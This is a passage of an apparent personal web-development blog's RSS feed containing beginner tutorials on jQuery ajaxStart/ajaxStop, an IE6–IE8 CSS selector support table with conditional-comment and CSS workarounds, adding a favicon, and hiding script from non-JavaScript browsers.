		<guid isPermaLink="false">http://www.maheshchari.com/?p=393</guid>
		<description><![CDATA[Displaying Ajax started element using JQuery ajaxstart,ajaxstop
jQuery is most famous javascript library compared to its concurrents. One of importent functionality in jQuery is its Ajax handling. It has very flexible methods for Ajax.We seen how to handle the Ajax Errors in my previous Article.Here we concentrate on jQuery ajaxstart,ajaxstop default methods to handle globally. 
Present [...]]]></description>
			<content:encoded><![CDATA[<h2>Displaying Ajax started element using JQuery ajaxstart,ajaxstop</h2>
<p>jQuery is most famous javascript library compared to its concurrents. One of importent functionality in jQuery is its Ajax handling. It has very flexible methods for Ajax.We seen how to handle the Ajax Errors in my previous Article.Here we concentrate on jQuery ajaxstart,ajaxstop default methods to handle globally. </p>
<p>Present it is very common to use ajax for every functionality,while querying externel resources with ajax we have to show the end user there is something happening behind the page.Some novice users don&#8217;t know about this functionality. So we must intimate the end user we are working on back end. Some times Ajax calls takes more time to respond with some reason. in that case most users confused about it may be stopped working . so here we take one example and tutorial.</p>
<h3>ajaxStart</h3>
<p>This method is called globally by jQuery while before starting any ajax call starts.</p>
<h3>ajaxstop</h3>
<p>This method called after stopping the Ajax stopped successfully or Ajax call cancelled.</p>
<p>These methods called on $.getJSON,$.get,$.post,$().load,$.getScript function.</p>
<h3>Example</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="javacript" style="font-family:monospace;">jQuery().ready(function(){ //Dom ready 
$('#loadimg').ajaxStart(function(){$(this).show();});//this method for ajax start		
$('#loadimg').ajaxStop(function(){$(this).hide();});//this method for ajax stop
$('#loadjson').click(function(){
$.getJSON('ajax.js',function(d){alert(d.name);});//$.getJSON method
});
$('#loadelement').click(function(){$(this).load('loadsnippet.html')});//load method
});</pre></td></tr></table></div>

<p><a href="http://www.maheshchari.com">Try more examples</a></p>
<p>&nbsp;</p>
<p><a href='http://www.maheshchari.com/wp-content/uploads/2010/01/ajaxstart.zip'>Demo Download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/jquery-ajaxstart-ajaxstop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ie css hack reference</title>
		<link>http://www.maheshchari.com/ie-css-hack-reference/</link>
		<comments>http://www.maheshchari.com/ie-css-hack-reference/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 04:07:24 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[Html]]></category>
		<category><![CDATA[css]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=381</guid>
		<description><![CDATA[CSS difference Between IE6,IE7,IE8
As a designer we experience the most bizzare conditions with internet explerer because it doesn&#8217;t follow w3 standereds mostly while rendering elemets and Box Model where moslty other Gecko browsers follow same.Even i am very good at programming ,i experience difficult to find IE issues,wasted more time on CSS issues than programming.So [...]]]></description>
			<content:encoded><![CDATA[<h2>CSS difference Between IE6,IE7,IE8</h2>
<p>As a designer we experience the most bizzare conditions with internet explerer because it doesn&#8217;t follow w3 standereds mostly while rendering elemets and Box Model where moslty other Gecko browsers follow same.Even i am very good at programming ,i experience difficult to find IE issues,wasted more time on CSS issues than programming.So i came up with reference for IE and instructions how to handle them to keep in mind reference for me (us).Even there is difference between IE versions also.So below is the reference </p>
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="18%" align="center"><strong>Selector Type </strong></td>
<td align="center"><strong>Examples &amp; description </strong></td>
<td width="8%" align="center"><strong>IE6</strong></td>
<td width="6%" align="center"><strong>IE7</strong></td>
<td width="7%" align="center"><strong>IE8</strong></td>
</tr>
<tr>
<td><strong>Child Selectors: </strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">body&amp;gt;p,ul&amp;gt;li</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Chained Classes</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">	.class1 .class2 .class3,
	or like class=&quot; class1 class2 class3&quot;</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Attribute Selectors</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">a[href=xyx],input[type=radio]</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Adjacent Sibling Selectors</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">h1+p,li+ul,ul+li</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>General Sibling Selectors</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">h1~p,li~ul,ul~li</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Pseudo-Classes and Pseudo-Elements</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">a:hover span ,li:first p</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Chained Pseudo-Classes</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">a:first-child:hover ,  a:active:hover</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>:hover on Non-Anchor Elements</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">p:hover</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>:first-child Pseudo-Class</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">div li:first-child</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>:focus Pseudo-Class</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">a:focus</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>:before and :after Pseudo-Elements</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">.class:before,.class:after</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Min-Height &amp; Min-Width</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">#box {  max-height: 500px;  min-width: 300px;  }</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Transparent Border Color</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">#box {  	border: solid 1px transparent;  }</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Fixed-Position Elements</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">#box {  	position: fixed;  }</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>inherit</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">#box {  	display: inherit;  }</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Border Spacing on Table Cells</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">table td {  	border-spacing: 3px;  }</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Vertical Position of a Table Caption</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">table {  	caption-side: bottom;  }</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Clipping Regions</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">#box {  	rect(20px, 300px, 200px, 100px)  }</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Alternative Values for the Display Property</strong></td>
<td>display property values other than block,none,inline,inline-block. </td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Handling of Collapsible Whitespace</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">	p { 	white-space: pre-line;  }  
	div { 	white-space: pre-wrap;  }</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>@import</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">@import url(&quot;styles.css&quot;;) screen;</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>Quote Characters for Generated Content</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">	q {quotes: &quot;'&quot; &quot;'&quot;; } 
	q:before {content: open-quote;} 
	q:after {content: close-quote; }</pre></div></div>

</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td><strong>!important</strong></td>
<td>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">ul {margin-left:0 !important}</pre></div></div>

</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
</table>
<h2>Handling Issues</h2>
<p>In the most cases IE6 doesn&#8217;t support all selector types to other IE7,IE8.</p>
<p>Even though IE7,IE8 both support much same selectors,they have difference in box model and rendering elements.  </p>
<p>In the case of IE7 it just need to add special IE7 css fix style like below </p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;!--[if IE]&gt; &lt;link href=&quot;ie_only.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt; &lt;![endif]--&gt;
		&lt;!--[if lt IE 7]&gt; &lt;link href=&quot;ie_6_and_below.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt; &lt;![endif]--&gt;
		&lt;!--[if !lt IE 7]&gt;&lt;![IGNORE[--&gt;&lt;![IGNORE[]]&gt; &lt;link href=&quot;recent.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt; &lt;!--&lt;![endif]--&gt;
		&lt;!--[if !IE]&gt;--&gt; &lt;link href=&quot;not_ie.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt; &lt;!--&lt;![endif]--&gt;</pre></div></div>

<p> in the case IE6,we can&#8217;t handle totally with seperate CSS file fix like above example,it needs some layout tweaks also. </p>
<p>We can show elements with conditions as below specified. </p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;![if!IE]&gt;
This shows up in anything but IE
&lt;![endif]&gt;</pre></div></div>

<p>It is better to avoid special characters in selecter name like &quot;_&quot;,&quot;-&quot;,even they support mostly browsers. </p>
<h2>Hadling CSS fixes with special selectors</h2>
<p>Only IE6 and below <br />
* html {}</p>
<p>IE7 and below</p>
<p>*:first-child+html {} * html {}</p>
<p>IE7 only</p>
<p>*:first-child+html {}</p>
<p>IE7 and Modern Browsers only<br />
html&gt;body {}</p>
<p>Recent Opera versions 9 and below</p>
<p>html:first-child {}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/ie-css-hack-reference/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>favico tutorial</title>
		<link>http://www.maheshchari.com/favico-tutorial/</link>
		<comments>http://www.maheshchari.com/favico-tutorial/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 12:28:16 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[Html]]></category>
		<category><![CDATA[favico]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=374</guid>
		<description><![CDATA[How to Add fav icon to your web site
What is fav icon?  
a favicon is really nothing more than a tiny png image with a .ico extension and sized to 16x 16 or 32 x 32.  
How to create fav icon?  
So, the first thing you need to do is to create [...]]]></description>
			<content:encoded><![CDATA[<h1>How to Add fav icon to your web site</h1>
<h3>What is fav icon?  </h3>
<p>a favicon is really nothing more than a tiny png image with a <strong>.ico </strong>extension and sized to <strong>16x 16 </strong>or <strong>32 x 32</strong>.  </p>
<h3>How to create fav icon?  </h3>
<p>So, the first thing you need to do is to create the image that you want to use; whatever you use, don’t make it too complex because small detail tend to get lost when re sized to a tiny 16 by 16 pixels.Create a image that sized square model image.then you should re size to 16&#215;16 px or 32&#215;32px.here we can use photoshop , corel draw and gimp ..etc.before saving the image just add extension ico,instead of regular images gif,png,jpg.  </p>
<h3>Why should i give ico extension name?</h3>
<p> Mostly <strong>modern </strong>browsers supports any format of image,but it must compatibly with older browsers also.you can give regular formats like favicon.gif,favicon.png,favicon.jpg also.  </p>
<h3>Where should i keep this icon on server?</h3>
<p> Moslty browser search for favicon in root folder,so if you keep this icon on root directory like ,<strong>www ,public_html </strong>directory on <strong>server</strong>.<br />
  you can keep this icon not only root directory ,its your choice.if so you have to<strong> add small html code shwon below</strong> in header of each page of site. It works on your local server also.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">  	&lt;head&gt;
	&lt;link rel=&quot;shortcut icon&quot; href=&quot;favicon.ico&quot; &gt;
	&lt;/head&gt;</pre></td></tr></table></div>

<h3>Adding GIF images as favicon</h3>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">  	&lt;head&gt;
	&lt;link rel=&quot;shortcut icon&quot; href=&quot;favicon.ico&quot; &gt;
	&lt;link rel=&quot;icon&quot; href=&quot;animated_favicon.gif&quot; type=&quot;image/gif&quot; &gt;
	&lt;/head&gt;</pre></td></tr></table></div>

<p>
 in the above code we use two type of favicons . <strong>favicon.ico</strong> for old browsers don&#8217;t support gif images.<br />
 <strong>animated_favicon.gif </strong>is for modern browser supports. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/favico-tutorial/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>hide javascript code from non javascript browser</title>
		<link>http://www.maheshchari.com/hide-javascript-code-from-non-javascript-browser/</link>
		<comments>http://www.maheshchari.com/hide-javascript-code-from-non-javascript-browser/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 03:14:42 +0000</pubDate>
		<dc:creator>mahesh chari</dc:creator>
				<category><![CDATA[Html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[browser]]></category>

		<guid isPermaLink="false">http://www.maheshchari.com/?p=368</guid>
		<description><![CDATA[hide JavaScript code from non-JavaScript  browsers
Here we learn how to hide the javascript code from non javascript browsers , javascript disabled browsers and mobile browsers .Non javascript browsers renders the javascript code as generel text without exucuting the code. So we must aware how to hide the javascript from these browsers.
&#160; 

1
2
3
4
5
&#60;script type=&#34;text/javascript&#34;&#62;
&#60;!--
alert&#40;&#34;This alert [...]]]></description>
			<content:encoded><![CDATA[<h1>hide JavaScript code from non-JavaScript  browsers</h1>
<p>Here we learn how to hide the javascript code from non javascript browsers , javascript disabled browsers and mobile browsers .Non javascript browsers renders the javascript code as generel text without exucuting the code. So we must aware how to hide the javascript from these browsers.</p>
<p>&nbsp; </p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;!--</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;This alert box is hidden from non javascript browsers.!!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #006600; font-style: italic;">//--&gt;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.maheshchari.com/hide-javascript-code-from-non-javascript-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
